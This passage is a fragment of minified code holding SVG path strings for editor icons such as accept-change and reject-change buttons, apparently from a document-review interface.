6.08721ZM15.0189 7.29788H10.1445C10.0549 7.31291 9.97363 7.35911 9.91504 7.42823C9.85639 7.49738 9.82422 7.585 9.82422 7.67555C9.82422 7.76609 9.85639 7.85369 9.91504 7.92284C9.97363 7.99196 10.0549 8.03815 10.1445 8.05319H15.0189C15.0321 8.05241 15.0451 8.05095 15.058 8.04877C15.0745 8.04601 15.0906 8.04212 15.1064 8.03718C15.1669 8.01822 15.2219 7.98361 15.2654 7.93618C15.3291 7.86664 15.3632 7.77502 15.3602 7.68084C15.3606 7.67392 15.3608 7.66701 15.3608 7.66009C15.3609 7.65087 15.3606 7.64165 15.3599 7.63247C15.3592 7.62263 15.358 7.61279 15.3565 7.60302C15.3532 7.58188 15.3479 7.56104 15.3409 7.54072C15.3254 7.49575 15.301 7.45426 15.2693 7.41868C15.2492 7.39621 15.2265 7.37638 15.2017 7.35959C15.1872 7.34979 15.172 7.34102 15.1562 7.33339C15.1132 7.31265 15.0665 7.3006 15.0189 7.29788ZM10.1445 9.56381H18.496C18.5856 9.54877 18.6669 9.50258 18.7255 9.43346C18.7841 9.3643 18.8163 9.27671 18.8163 9.18617C18.8163 9.09562 18.7841 9.008 18.7255 8.93884C18.6669 8.86973 18.5856 8.82353 18.496 8.8085H10.1445C10.0549 8.82353 9.97363 8.86973 9.91504 8.93884C9.85639 9.008 9.82422 9.09562 9.82422 9.18617C9.82422 9.24412 9.83738 9.30087 9.86224 9.35236C9.87624 9.38132 9.89395 9.40859 9.91504 9.43346C9.97363 9.50258 10.0549 9.54877 10.1445 9.56381ZM10.1445 11.0638H15.0189C15.1084 11.0488 15.1897 11.0026 15.2483 10.9335C15.2854 10.8898 15.3118 10.8387 15.3263 10.7842C15.3347 10.7525 15.3391 10.7195 15.3391 10.6861C15.3391 10.5956 15.3069 10.508 15.2483 10.4389C15.1897 10.3697 15.1084 10.3235 15.0189 10.3085H10.1445C10.0549 10.3235 9.97363 10.3697 9.91504 10.4389C9.85639 10.508 9.82422 10.5956 9.82422 10.6861C9.82422 10.7424 9.83666 10.7976 9.8601 10.8478C9.87442 10.8785 9.89284 10.9073 9.91504 10.9335C9.97363 11.0026 10.0549 11.0488 10.1445 11.0638ZM18.496 12.5745H10.1444C10.0549 12.5594 9.97363 12.5132 9.91498 12.4441C9.85639 12.3749 9.82422 12.2873 9.82422 12.1968C9.82422 12.1062 9.85639 12.0186 9.91498 11.9495C9.97363 11.8803 10.0549 11.8342 10.1444 11.8191H18.496C18.5856 11.8342 18.6669 11.8803 18.7255 11.9495C18.7841 12.0186 18.8163 12.1062 18.8163 12.1968C18.8163 12.2873 18.7841 12.3749 18.7255 12.4441C18.6971 12.4776 18.6633 12.5058 18.6259 12.5276C18.5861 12.5507 18.5421 12.5667 18.496 12.5745ZM15.0189 14.0744H10.1444C10.0968 14.0731 10.0499 14.0624 10.0064 14.0429C9.96296 14.0234 9.92376 13.9956 9.89102 13.961C9.85834 13.9265 9.83282 13.8857 9.81589 13.8413C9.79897 13.7969 9.79102 13.7496 9.79239 13.7021C9.79102 13.6546 9.79897 13.6073 9.81589 13.5628C9.83282 13.5184 9.85834 13.4778 9.89102 13.4432C9.92376 13.4086 9.96296 13.3808 10.0064 13.3613C10.0499 13.3419 10.0968 13.3311 10.1444 13.3297H15.0189C15.0661 13.3311 15.1125 13.3419 15.1554 13.3615C15.1983 13.381 15.2368 13.4091 15.2686 13.4438C15.3005 13.4785 15.325 13.5193 15.3407 13.5637C15.3564 13.608 15.363 13.6551 15.3602 13.7021C15.3631 13.7963 15.3291 13.8879 15.2653 13.9574C15.2016 14.027 15.1132 14.0689 15.0189 14.0744ZM16.6188 4.52128L19.4133 7.30852C19.4293 7.32624 19.4401 7.34808 19.4443 7.37157C19.4485 7.39506 19.446 7.41925 19.4371 7.4414C19.4282 7.46356 19.4133 7.48278 19.394 7.4969C19.3747 7.51102 19.3518 7.51947 19.328 7.52128H16.5868L16.4054 7.34043V4.60639C16.4073 4.5826 16.4157 4.55979 16.4299 4.54056C16.444 4.52133 16.4633 4.50644 16.4855 4.49757C16.5077 4.48871 16.532 4.48624 16.5556 4.49043C16.5791 4.49462 16.601 4.50531 16.6188 4.52128ZM18.6454 13.3192L20 14.6915L14.7522 20L14.7416 19.9894L14.1123 19.3617L13.3976 18.6277L11.3817 16.5638L12.7257 15.2021L14.7522 17.2553L18.6454 13.3192Z",rejectAllChanges:"M9.54637 16.5847H8.96997V15.8295H12.786C12.8024 15.8265 12.8186 15.8223 12.8343 15.817C12.8535 15.8105 12.8719 15.8023 12.8897 15.7926C12.9315 15.7697 12.969 15.738 12.9997 15.6991C13.0268 15.6649 13.0478 15.6261 13.0621 15.5847H13.571V16.7656H9.79386C9.78396 16.7479 9.77269 16.731 9.76011 16.7151C9.70552 16.6459 9.62976 16.5998 9.54637 16.5847ZM13.4717 12.9573V13.3295H9.72523C9.6809 13.3309 9.63716 13.3416 9.59671 13.361C9.57578 13.3711 9.55595 13.3834 9.53745 13.3977C9.5201 13.411 9.50391 13.4262 9.48917 13.4429C9.45872 13.4775 9.43494 13.5182 9.41917 13.5626C9.41778 13.5664 9.41644 13.5703 9.41523 13.5742H8.96997V12.8189H12.786C12.8694 12.8039 12.9452 12.7577 12.9997 12.6886C13.0078 12.6784 13.0153 12.6677 13.0223 12.6568L13.029 12.6458L13.033 12.6389L13.0397 12.6266C13.0452 12.6157 13.0503 12.6046 13.055 12.5931C13.0576 12.5869 13.0599 12.5806 13.0621 12.5742H13.6872C13.6453 12.5965 13.607 12.6269 13.5746 12.6644C13.5059 12.7439 13.469 12.849 13.4717 12.9573ZM9.82598 14.0742H13.4758C13.4809 14.0932 13.4904 14.1108 13.5037 14.1251C13.5242 14.147 13.552 14.1593 13.581 14.1593H13.6008L13.571 14.1912V14.8295H9.72523C9.64183 14.8445 9.56614 14.8907 9.51149 14.9598C9.4845 14.994 9.46351 15.0328 9.4492 15.0741H8.96997V14.3295H9.54637C9.62976 14.3145 9.70552 14.2683 9.76011 14.1992C9.78947 14.162 9.81166 14.1195 9.82598 14.0742ZM18.9075 8.2552V12.5317H17.7846V12.323C17.7978 12.2827 17.8047 12.2399 17.8047 12.1965C17.8047 12.106 17.7747 12.0184 17.7201 11.9493C17.6655 11.8801 17.5897 11.834 17.5063 11.8189H9.72523C9.64183 11.834 9.56614 11.8801 9.51149 11.9493C9.48444 11.9835 9.46351 12.0222 9.4492 12.0636H8.96997V11.3083H9.54637C9.63425 11.3028 9.71662 11.2608 9.776 11.1913C9.80687 11.1551 9.83029 11.113 9.84527 11.0676L9.84654 11.0637H14.2667C14.3501 11.0486 14.4258 11.0024 14.4805 10.9333C14.5231 10.8794 14.5507 10.8142 14.5607 10.7452C14.5636 10.7258 14.565 10.706 14.565 10.686C14.565 10.6658 14.5635 10.6458 14.5606 10.626C14.5572 10.6026 14.5516 10.5796 14.5442 10.5573C14.5299 10.5144 14.5084 10.4741 14.4805 10.4387C14.4258 10.3696 14.3501 10.3234 14.2667 10.3083H9.72529C9.6832 10.3159 9.64299 10.3314 9.60653 10.3538C9.57081 10.3759 9.5386 10.4045 9.51155 10.4387C9.49639 10.4579 9.4831 10.4785 9.47182 10.5002C9.46133 10.5205 9.45259 10.5417 9.44568 10.5636H8.96997V9.80838H9.16873C9.25656 9.80286 9.33899 9.76085 9.39837 9.69131C9.45775 9.62177 9.48947 9.53022 9.48674 9.43601C9.48711 9.42951 9.48735 9.42302 9.48741 9.41653C9.48741 9.41049 9.48729 9.40445 9.48705 9.39848C9.49457 9.41055 9.50269 9.42218 9.51155 9.43334C9.56614 9.50249 9.64189 9.54866 9.72529 9.56372H17.5063C17.5897 9.54866 17.6655 9.50249 17.7201 9.43334C17.7747 9.36419 17.8047 9.2766 17.8047 9.18603C17.8047 9.09552 17.7747 9.00786 17.7201 8.93878C17.6655 8.86963 17.5897 8.82346 17.5063 8.8084H9.72529C9.64189 8.82346 9.56614 8.86963 9.51155 8.93878C9.4569 9.00786 9.42694 9.09552 9.42694 9.18603L9.427 9.19707L9.42754 9.20875C9.41972 9.19661 9.41123 9.18499 9.40201 9.17389C9.38478 9.15311 9.36537 9.1346 9.34427 9.11863C9.33735 9.11344 9.33026 9.1085 9.32298 9.10383C9.31855 9.10097 9.31406 9.09824 9.30951 9.09565L9.30424 9.09266L9.29659 9.08857C9.28792 9.08402 9.27906 9.07993 9.27009 9.07623C9.2616 9.07279 9.25298 9.06974 9.24431 9.06701C9.21974 9.05935 9.19439 9.05461 9.16873 9.05305H8.96997V4.10638C8.97221 4.07897 8.9834 4.05328 9.00157 4.03383C9.01975 4.01437 9.04374 4.0024 9.06935 4H14.9325V7.1914C14.9401 7.43679 15.0216 7.67296 15.1649 7.86468C15.3082 8.0564 15.5055 8.19338 15.7275 8.2552C15.7927 8.27277 15.861 8.27277 15.9262 8.2552H18.9075ZM13.571 17.2975V19.4251L13.5722 19.4615C13.5835 19.6376 13.6323 19.8068 13.7133 19.957H4.10061C4.08718 19.9587 4.07355 19.9571 4.06077 19.9524C4.04799 19.9477 4.03637 19.9399 4.02681 19.9296C4.01724 19.9194 4.00997 19.907 4.00554 19.8933C4.00111 19.8796 3.99964 19.865 4.00124 19.8506V7.29778C4.00124 7.26957 4.01171 7.24251 4.03034 7.22256C4.04898 7.20261 4.07426 7.1914 4.10061 7.1914H8.38368V9.05305H4.99497C4.90708 9.05857 4.82471 9.10052 4.76533 9.17006C4.70589 9.2396 4.67423 9.33121 4.67696 9.42536C4.67411 9.52067 4.70547 9.61346 4.76461 9.68475C4.8238 9.75598 4.90623 9.80026 4.99497 9.80838H8.38368V10.5636H4.99497C4.96682 10.5645 4.93898 10.5692 4.91199 10.5774C4.89647 10.5821 4.88124 10.588 4.86644 10.5952C4.8494 10.6034 4.83308 10.613 4.81762 10.6241C4.79627 10.6393 4.77655 10.657 4.7589 10.6771C4.72846 10.7116 4.70468 10.7523 4.68891 10.7967C4.67314 10.8411 4.66574 10.8885 4.66701 10.9359C4.66641 10.9597 4.66792 10.9834 4.67156 11.0067C4.6752 11.03 4.68102 11.053 4.68891 11.0752C4.70468 11.1196 4.72846 11.1603 4.7589 11.1949C4.7731 11.211 4.78862 11.2256 4.80524 11.2386C4.81452 11.2459 4.82417 11.2527 4.83417 11.259C4.84461 11.2655 4.85534 11.2714 4.86644 11.2767C4.9069 11.2962 4.95063 11.3069 4.99497 11.3083H8.38368V12.0636H4.99503C4.91163 12.0787 4.83587 12.1249 4.78128 12.194C4.7526 12.2303 4.7307 12.2717 4.71639 12.3159C4.70347 12.3559 4.69667 12.3983 4.69667 12.4413C4.69667 12.5318 4.72664 12.6194 4.78128 12.6886C4.809 12.7237 4.84218 12.7529 4.87906 12.7751C4.89416 12.7842 4.90993 12.7921 4.92619 12.7988C4.94833 12.8079 4.97137 12.8147 4.99503 12.8189H8.38368V13.5742H4.99503C4.95275 13.5819 4.91242 13.5975 4.87584 13.62C4.8403 13.642 4.80822 13.6705 4.78128 13.7046C4.72664 13.7737 4.69667 13.8613 4.69667 13.9519C4.69667 14.0424 4.72664 14.13 4.78128 14.1992C4.83587 14.2683 4.91163 14.3145 4.99503 14.3295H8.38368V15.0741H4.99497C4.94644 15.0829 4.90047 15.1022 4.85977 15.1304C4.83878 15.145 4.81919 15.162 4.80136 15.1811C4.79439 15.1885 4.78765 15.1964 4.78122 15.2045C4.77188 15.2163 4.76327 15.2287 4.75539 15.2416C4.74441 15.2594 4.73495 15.2781 4.727 15.2975C4.71924 15.3163 4.71293 15.3358 4.70808 15.3558C4.70407 15.3723 4.7011 15.389 4.69922 15.4061C4.69752 15.4212 4.69667 15.4364 4.69667 15.4518C4.69667 15.5423 4.72664 15.6299 4.78122 15.6991C4.83587 15.7682 4.91157 15.8144 4.99497 15.8295H8.38368V16.5847H4.99497C4.91157 16.5998 4.83587 16.6459 4.78122 16.7151C4.72664 16.7842 4.69667 16.8718 4.69667 16.9624C4.69667 17.0529 4.72664 17.1405 4.78122 17.2097C4.83587 17.2788 4.91157 17.325 4.99497 17.34H9.54637C9.58655 17.3328 9.62496 17.3183 9.66008 17.2975H13.571ZM15.7573 4.52124L18.3609 7.30839C18.3758 7.32612 18.3858 7.34796 18.3897 7.37145C18.3937 7.39493 18.3914 7.41913 18.3831 7.44128C18.3748 7.46343 18.3609 7.48266 18.3429 7.49678C18.325 7.51089 18.3036 7.51934 18.2814 7.52115H15.7275L15.5585 7.34031V4.60634C15.5602 4.58255 15.5681 4.55975 15.5813 4.54051C15.5945 4.52128 15.6125 4.50639 15.6332 4.49753C15.6539 4.48867 15.6765 4.48619 15.6984 4.49038C15.7203 4.49457 15.7407 4.50526 15.7573 4.52124ZM14.1248 5.91437C14.1732 5.97391 14.2021 6.04884 14.2071 6.1276C14.2157 6.17377 14.2155 6.22129 14.2065 6.26739C14.2045 6.27778 14.2021 6.28804 14.1992 6.29817L14.1944 6.31388C14.1847 6.34291 14.1715 6.3705 14.1551 6.39595C14.13 6.43465 14.098 6.46757 14.0608 6.49276C14.0354 6.5099 14.008 6.52328 13.9794 6.53244C13.9661 6.53672 13.9525 6.5401 13.9387 6.5425H9.71529C9.62309 6.5425 9.5346 6.50328 9.4694 6.43342C9.40413 6.36362 9.3675 6.26889 9.3675 6.17013C9.3675 6.07144 9.40413 5.97671 9.4694 5.90691C9.5346 5.83704 9.62309 5.79783 9.71529 5.79783H13.9387C13.9718 5.80516 14.0034 5.81769 14.0326 5.83484C14.0672 5.85522 14.0984 5.88204 14.1248 5.91437ZM14.2667 7.29776H9.72529C9.69606 7.30302 9.66773 7.31211 9.64092 7.3247C9.62612 7.33171 9.61175 7.33977 9.59798 7.34879C9.56565 7.36996 9.53642 7.39664 9.51155 7.42813C9.4569 7.49722 9.42694 7.58487 9.42694 7.67538C9.42694 7.70155 9.42942 7.72752 9.43434 7.75285C9.44635 7.81505 9.47273 7.87355 9.51155 7.9227C9.55292 7.9751 9.60647 8.01432 9.66628 8.03678C9.67762 8.04107 9.6892 8.04477 9.70097 8.04775C9.70898 8.04983 9.71711 8.05158 9.72529 8.05308H14.2667C14.3546 8.04756 14.437 8.00555 14.4964 7.93601C14.5558 7.86647 14.5875 7.77492 14.5847 7.68071C14.5874 7.63318 14.5813 7.58559 14.5667 7.54059C14.5522 7.4956 14.5296 7.45417 14.5 7.41859C14.4704 7.38301 14.4346 7.35398 14.3946 7.33327C14.3546 7.31256 14.3111 7.30048 14.2667 7.29776ZM4.99497 18.84H12.786C12.8783 18.84 12.9667 18.8008 13.032 18.731C13.0972 18.6611 13.1338 18.5664 13.1338 18.4677C13.1338 18.3689 13.0972 18.2742 13.032 18.2044C12.9667 18.1346 12.8783 18.0954 12.786 18.0954H4.99497C4.90277 18.0954 4.81428 18.1346 4.74908 18.2044C4.68381 18.2742 4.64718 18.3689 4.64718 18.4677C4.64718 18.5664 4.68381 18.6611 4.74908 18.731C4.81428 18.8008 4.90277 18.84 4.99497 18.84ZM17.5858 12.7444H19.5733H19.623C19.7249 12.7499 19.821 12.7971 19.8913 12.8764C19.9616 12.9556 20.0007 13.0607 20.0006 13.17V13.8295C20.0007 13.8458 19.9976 13.862 19.9914 13.8769C19.9853 13.8918 19.9764 13.9052 19.9652 13.9163C19.9539 13.9273 19.9407 13.9357 19.9262 13.9409C19.9118 13.9461 19.8965 13.948 19.8814 13.9465H13.7797C13.7507 13.9465 13.7229 13.9342 13.7024 13.9123C13.6819 13.8903 13.6704 13.8606 13.6704 13.8295V13.17C13.6677 13.0617 13.7046 12.9566 13.7733 12.8771C13.842 12.7976 13.9371 12.75 14.0381 12.7444H16.0256V12.5104C16.0352 12.439 16.0687 12.3737 16.1199 12.3268C16.1711 12.2798 16.2365 12.2544 16.3039 12.2551H17.2976C17.3667 12.2517 17.4345 12.276 17.4878 12.3232C17.541 12.3704 17.576 12.4371 17.5858 12.5104V12.7444ZM14.0679 19.4251V14.1912H19.5037V19.4251C19.4935 19.585 19.4256 19.7344 19.3143 19.8416C19.203 19.9488 19.0571 20.0055 18.9075 19.9996H14.6642C14.5146 20.0055 14.3687 19.9488 14.2574 19.8416C14.1461 19.7344 14.0781 19.585 14.0679 19.4251ZM15.5983 15.1593H15.2505C15.0969 15.1593 14.9723 15.2926 14.9723 15.4572V18.7336C14.9723 18.8981 15.0969 19.0315 15.2505 19.0315H15.5983C15.752 19.0315 15.8766 18.8981 15.8766 18.7336V15.4572C15.8766 15.2926 15.752 15.1593 15.5983 15.1593ZM16.9598 15.1593H16.612C16.4583 15.1593 16.3337 15.2926 16.3337 15.4572V18.7336C16.3337 18.8981 16.4583 19.0315 16.612 19.0315H16.9598C17.1135 19.0315 17.238 18.8981 17.238 18.7336V15.4572C17.238 15.2926 17.1135 15.1593 16.9598 15.1593ZM17.9635 15.1593H18.3113C18.465 15.1593 18.5895 15.2926 18.5895 15.4572V18.7336C18.5895 18.8981 18.465 19.0315 18.3113 19.0315H17.9635C17.8098 19.0315 17.6852 18.8981 17.6852 18.7336V15.4572C17.6852 15.2926 17.8098 15.1593 17.9635 15.1593Z",acceptSingleChange:"M17.2 20H15.6628L17.33 18.3091V19.87C17.33 19.8871 17.3266 19.904 17.3201 19.9197C17.3136 19.9355 17.304 19.9499 17.2919 19.9619C17.2799 19.974 17.2655 19.9836 17.2497 19.9901C17.234 19.9966 17.2171 20 17.2 20ZM4.13 20H14.4978L14.1823 19.6791L13.5135 18.9904L13.5123 18.9891L13.0529 18.52H5C4.87537 18.52 4.75586 18.4705 4.66766 18.3823C4.57953 18.2942 4.53003 18.1747 4.53003 18.05C4.53003 17.9253 4.57953 17.8058 4.66766 17.7177C4.75586 17.6295 4.87537 17.58 5 17.58H12.1323L11.6235 17.0604L11.6231 16.48L12.8831 15.19L13.4765 15.1896L15.0807 16.8276L17.33 14.5413V9.3H13.28C13.207 9.30976 13.133 9.30976 13.06 9.3C12.7697 9.22119 12.5113 9.05343 12.3212 8.82027C12.1311 8.58711 12.0187 8.30026 12 8V4H4.13C4.09552 4 4.06246 4.0137 4.03808 4.03808C4.0137 4.06246 4 4.09552 4 4.13V19.87C4 19.9045 4.0137 19.9375 4.03808 19.9619C4.06246 19.9863 4.09552 20 4.13 20ZM13.1 4.65L16.6 8.15C16.6212 8.17232 16.6355 8.20028 16.6412 8.23051C16.6469 8.26075 16.6437 8.29199 16.6321 8.32048C16.6205 8.34898 16.6009 8.37352 16.5757 8.39117C16.5505 8.40882 16.5208 8.41883 16.49 8.42H13.06L12.83 8.19V4.76C12.8312 4.72925 12.8412 4.6995 12.8588 4.67429C12.8765 4.64909 12.901 4.62951 12.9295 4.6179C12.958 4.6063 12.9893 4.60315 13.0195 4.60884C13.0497 4.61453 13.0777 4.62882 13.1 4.65ZM11 6.72C11.0027 6.66089 10.9937 6.60184 10.9735 6.5462C10.9534 6.49057 10.9224 6.43948 10.8825 6.39581C10.8425 6.35217 10.7944 6.3168 10.7408 6.29178C10.6871 6.26678 10.6292 6.25256 10.57 6.25H5C4.88239 6.25772 4.77252 6.31131 4.69397 6.39917C4.61542 6.48706 4.57452 6.60226 4.58002 6.72C4.57452 6.83774 4.61542 6.95294 4.69397 7.04083C4.77252 7.12869 4.88239 7.18228 5 7.19H10.6C10.7141 7.1774 10.8189 7.12173 10.8933 7.03436C10.9677 6.94702 11.0058 6.83456 11 6.72ZM11.1 8.14001H5C4.87537 8.14001 4.75586 8.18954 4.66766 8.27768C4.57953 8.36581 4.53003 8.48535 4.53003 8.61002C4.53003 8.73468 4.57953 8.85422 4.66766 8.94235C4.71558 8.99023 4.77277 9.02673 4.83496 9.05008C4.86932 9.06296 4.90521 9.07184 4.94189 9.07642C4.96106 9.0788 4.98047 9.08002 5 9.08002H11.1C11.2247 9.08002 11.3442 9.03049 11.4324 8.94235C11.5205 8.85422 11.57 8.73468 11.57 8.61002C11.57 8.48535 11.5205 8.36581 11.4324 8.27768C11.3442 8.18954 11.2247 8.14001 11.1 8.14001ZM5 11H15.45C15.5826 11 15.7098 10.9473 15.8035 10.8535C15.8973 10.7598 15.95 10.6326 15.95 10.5C15.95 10.3674 15.8973 10.2402 15.8035 10.1465C15.7098 10.0527 15.5826 10 15.45 10H5C4.86737 10 4.74023 10.0527 4.64642 10.1465C4.55267 10.2402 4.5 10.3674 4.5 10.5C4.5 10.6326 4.55267 10.7598 4.64642 10.8535C4.74023 10.9473 4.86737 11 5 11ZM5 12.86H11.1C11.2211 12.8523 11.3346 12.798 11.4166 12.7085C11.4986 12.6191 11.5428 12.5013 11.54 12.38C11.5427 12.2597 11.4982 12.1431 11.416 12.0552C11.3337 11.9673 11.2203 11.9152 11.1 11.91H5C4.94086 11.9126 4.88287 11.9268 4.82922 11.9518C4.77563 11.9768 4.72748 12.0122 4.6875 12.0558C4.65833 12.0878 4.63391 12.1237 4.61505 12.1624C4.60809 12.1767 4.60193 12.1913 4.5965 12.2062C4.58264 12.2443 4.5741 12.2841 4.57092 12.3243C4.56946 12.3428 4.56915 12.3614 4.57001 12.38C4.56451 12.5004 4.60651 12.6181 4.68689 12.7079C4.76733 12.7976 4.87976 12.8523 5 12.86ZM15.45 14.74H5C4.87537 14.74 4.75586 14.6905 4.66766 14.6023C4.57953 14.5142 4.53003 14.3947 4.53003 14.27C4.53003 14.1453 4.57953 14.0258 4.66766 13.9377C4.75586 13.8495 4.87537 13.8 5 13.8H15.45C15.5747 13.8 15.6942 13.8495 15.7823 13.9377C15.8705 14.0258 15.92 14.1453 15.92 14.27C15.92 14.3947 15.8705 14.5142 15.7823 14.6023C15.6942 14.6905 15.5747 14.74 15.45 14.74ZM11.1 16.63H5C4.87537 16.63 4.75586 16.5805 4.66766 16.4923C4.57953 16.4042 4.53003 16.2846 4.53003 16.16C4.53003 16.0353 4.57953 15.9158 4.66766 15.8276C4.75586 15.7395 4.87537 15.69 5 15.69H11.1C11.2247 15.69 11.3442 15.7395 11.4324 15.8276C11.5205 15.9158 11.57 16.0353 11.57 16.16C11.57 16.2846 11.5205 16.4042 11.4324 16.4923C11.3442 16.5805 11.2247 16.63 11.1 16.63ZM18.73 13.71L20 15.01L15.08 20L15.07 19.99L14.48 19.39L13.81 18.7L11.92 16.77L13.18 15.48L15.08 17.42L18.73 13.71Z",rejectSingleChange:"M17.0495 11.5C17.1461 11.5 17.241 11.5173 17.33 11.5501V9.3H13.28C13.207 9.30976 13.133 9.30976 13.06 9.3C12.7697 9.22119 12.5113 9.05343 12.3212 8.82027C12.1311 8.58711 12.0187 8.30026 12 8V4H4.13C4.09552 4 4.06246 4.0137 4.03808 4.03808C4.0137 4.06246 4 4.09552 4 4.13V19.87C4 19.9045 4.0137 19.9375 4.03808 19.9619C4.06246 19.9863 4.09552 20 4.13 20H13.2305C13.1075 19.8287 13.0338 19.6249 13.0205 19.4112L13.0195 19.3956V18.52H5C4.87537 18.52 4.75586 18.4705 4.66772 18.3823C4.57959 18.2942 4.53003 18.1747 4.53003 18.05C4.53003 18.0119 4.53467 17.9742 4.54358 17.9378C4.56396 17.8552 4.60657 17.7788 4.66772 17.7177C4.75586 17.6295 4.87537 17.58 5 17.58H13.0195V14.74H5C4.87537 14.74 4.75586 14.6905 4.66772 14.6023C4.57959 14.5142 4.53003 14.3947 4.53003 14.27C4.53003 14.1453 4.57959 14.0258 4.66772 13.9377C4.75586 13.8495 4.87537 13.8 5 13.8H12.8393C12.6229 13.6377 12.4998 13.3897 12.4998 13.1032C12.4997 12.8414 12.6008 12.5847 12.7513 12.3911C12.9 12.1998 13.1561 12 13.4994 12L15.2519 12C15.2928 11.8972 15.3589 11.7915 15.4649 11.6992C15.6135 11.5698 15.8041 11.499 16.0011 11.5H17.0495ZM13.1 4.65L16.6 8.15C16.6211 8.17232 16.6354 8.20028 16.6411 8.23051C16.6468 8.26075 16.6437 8.29199 16.6321 8.32048C16.6204 8.34898 16.6009 8.37352 16.5757 8.39117C16.5505 8.40882 16.5207 8.41883 16.49 8.42H13.06L12.83 8.19V4.76C12.8311 4.72925 12.8411 4.6995 12.8588 4.67429C12.8764 4.64909 12.901 4.62951 12.9295 4.6179C12.958 4.6063 12.9892 4.60315 13.0194 4.60884C13.0497 4.61453 13.0776 4.62882 13.1 4.65ZM11 6.72C11.0027 6.66089 10.9937 6.60184 10.9735 6.5462C10.9716 6.5408 10.9695 6.53543 10.9673 6.53012C10.9626 6.51852 10.9575 6.50717 10.9518 6.49603C10.9406 6.47391 10.9275 6.45273 10.9127 6.43274C10.9033 6.41992 10.8932 6.40759 10.8824 6.39581C10.8425 6.35217 10.7943 6.3168 10.7407 6.29178C10.6871 6.26678 10.629 6.25256 10.5699 6.25H5C4.88232 6.25772 4.77246 6.31131 4.69397 6.39917C4.61536 6.48706 4.57446 6.60226 4.57996 6.72C4.57715 6.7811 4.58679 6.84152 4.60767 6.8978C4.61523 6.91803 4.62415 6.93771 4.63452 6.9567C4.65088 6.98669 4.67078 7.01495 4.69397 7.04083C4.77246 7.12869 4.88232 7.18228 5 7.19H10.6C10.714 7.1774 10.8188 7.12173 10.8932 7.03436C10.922 7.00049 10.9454 6.96283 10.9629 6.92273C10.9725 6.9006 10.9805 6.87775 10.9865 6.8544C10.9933 6.82791 10.9977 6.80075 10.9995 6.77325C11.0001 6.76453 11.0004 6.75574 11.0005 6.74695C11.0006 6.73798 11.0005 6.729 11 6.72ZM11.1 8.14001H5C4.97534 8.14001 4.95081 8.14194 4.92676 8.14575C4.89587 8.15063 4.8656 8.15857 4.83643 8.1694C4.77368 8.19272 4.71606 8.2294 4.66772 8.27768C4.57959 8.36581 4.53003 8.48535 4.53003 8.61002C4.53003 8.73468 4.57959 8.85422 4.66772 8.94235C4.75586 9.03049 4.87537 9.08002 5 9.08002H11.1C11.2247 9.08002 11.3442 9.03049 11.4324 8.94235C11.4617 8.91306 11.4867 8.88028 11.5071 8.845C11.5349 8.79691 11.554 8.74414 11.5634 8.68915C11.5677 8.66318 11.5701 8.63672 11.5701 8.61002C11.5701 8.48535 11.5205 8.36581 11.4324 8.27768C11.3929 8.23831 11.3474 8.20663 11.2979 8.18365C11.2365 8.15518 11.1689 8.14001 11.1 8.14001ZM5 11H15.45C15.5826 11 15.7098 10.9473 15.8036 10.8535C15.8973 10.7598 15.95 10.6326 15.95 10.5C15.95 10.3674 15.8973 10.2402 15.8036 10.1465C15.7098 10.0527 15.5826 10 15.45 10H5C4.86743 10 4.74023 10.0527 4.64648 10.1465C4.55273 10.2402 4.5 10.3674 4.5 10.5C4.5 10.6326 4.55273 10.7598 4.64648 10.8535C4.74023 10.9473 4.86743 11 5 11ZM5 12.86H11.1C11.2211 12.8523 11.3346 12.798 11.4166 12.7085C11.4987 12.6191 11.5428 12.5013 11.54 12.38C11.5427 12.2597 11.4982 12.1431 11.4159 12.0552C11.3336 11.9673 11.2202 11.9152 11.1 11.91H5C4.94092 11.9126 4.88281 11.9268 4.82922 11.9518C4.77563 11.9768 4.72742 12.0122 4.6875 12.0558C4.64758 12.0995 4.6167 12.1506 4.59644 12.2062C4.58899 12.2266 4.58313 12.2475 4.57874 12.2687C4.57129 12.3052 4.56824 12.3426 4.56995 12.38C4.56445 12.5004 4.60645 12.6181 4.68689 12.7079C4.76733 12.7976 4.87976 12.8523 5 12.86ZM11.1 16.63H5C4.87537 16.63 4.75586 16.5805 4.66772 16.4923C4.57959 16.4042 4.53003 16.2846 4.53003 16.16C4.53003 16.0353 4.57959 15.9158 4.66772 15.8276C4.75586 15.7395 4.87537 15.69 5 15.69H11.1C11.2247 15.69 11.3442 15.7395 11.4324 15.8276C11.5205 15.9158 11.5701 16.0353 11.5701 16.16C11.5701 16.2846 11.5205 16.4042 11.4324 16.4923C11.3442 16.5805 11.2247 16.63 11.1 16.63ZM19.59 12.53H17.36V12.3C17.3574 12.2195 17.3236 12.1432 17.2657 12.0872C17.2078 12.0313 17.1305 12 17.05 12H16C15.9242 11.9994 15.8509 12.0265 15.7938 12.0762C15.7367 12.126 15.6997 12.1949 15.69 12.27V12.5H13.44C13.3768 12.4994 13.3142 12.5125 13.2565 12.5382C13.1988 12.564 13.1473 12.6019 13.1055 12.6493C13.0638 12.6968 13.0327 12.7526 13.0145 12.8132C12.9963 12.8737 12.9913 12.9374 13 13V13.67C13 13.6871 13.0033 13.704 13.0099 13.7198C13.0164 13.7355 13.026 13.7499 13.038 13.7619C13.0501 13.774 13.0644 13.7836 13.0802 13.7901C13.096 13.7966 13.1129 13.8 13.13 13.8H19.84C19.8611 13.8054 19.8834 13.8054 19.9045 13.8C19.9257 13.7946 19.9452 13.7839 19.9611 13.7689C19.9771 13.754 19.989 13.7352 19.9958 13.7144C20.0026 13.6937 20.004 13.6715 20 13.65V13C20.0028 12.8866 19.9617 12.7765 19.8853 12.6927C19.809 12.6088 19.7031 12.5577 19.59 12.55V12.53ZM13.52 14V19.38C13.5303 19.5454 13.6054 19.7 13.7289 19.8105C13.8525 19.9209 14.0145 19.9782 14.18 19.97H18.84C19.0055 19.9782 19.1676 19.9209 19.2911 19.8105C19.4146 19.7 19.4897 19.5454 19.5 19.38V14H13.52ZM15.52 18.67C15.52 18.7522 15.4874 18.8311 15.4292 18.8892C15.3711 18.9473 15.2922 18.98 15.21 18.98H14.83C14.7478 18.98 14.669 18.9473 14.6108 18.8892C14.5527 18.8311 14.52 18.7522 14.52 18.67V15.33C14.52 15.2893 14.528 15.249 14.5436 15.2114C14.5592 15.1738 14.582 15.1396 14.6108 15.1108C14.6396 15.082 14.6738 15.0592 14.7114 15.0436C14.749 15.028 14.7893 15.02 14.83 15.02H15.21C15.2507 15.02 15.291 15.028 15.3287 15.0436C15.3663 15.0592 15.4004 15.082 15.4292 15.1108C15.458 15.1396 15.4808 15.1738 15.4964 15.2114C15.512 15.249 15.52 15.2893 15.52 15.33V18.67ZM17.01 18.67C17.01 18.7522 